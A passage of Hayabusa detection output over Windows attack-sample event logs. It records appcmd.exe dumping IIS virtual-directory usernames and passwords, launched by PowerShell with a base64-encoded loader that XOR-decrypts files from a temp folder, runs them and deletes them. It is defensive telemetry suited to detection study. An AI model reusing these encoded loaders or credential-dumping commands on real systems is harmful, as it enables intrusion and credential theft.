AcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.233 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Filename: redirection.config"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.323 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Filename: redirection.config"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.403 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.473 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.563 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Line Number: 0"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.784 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Line Number: 0"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGU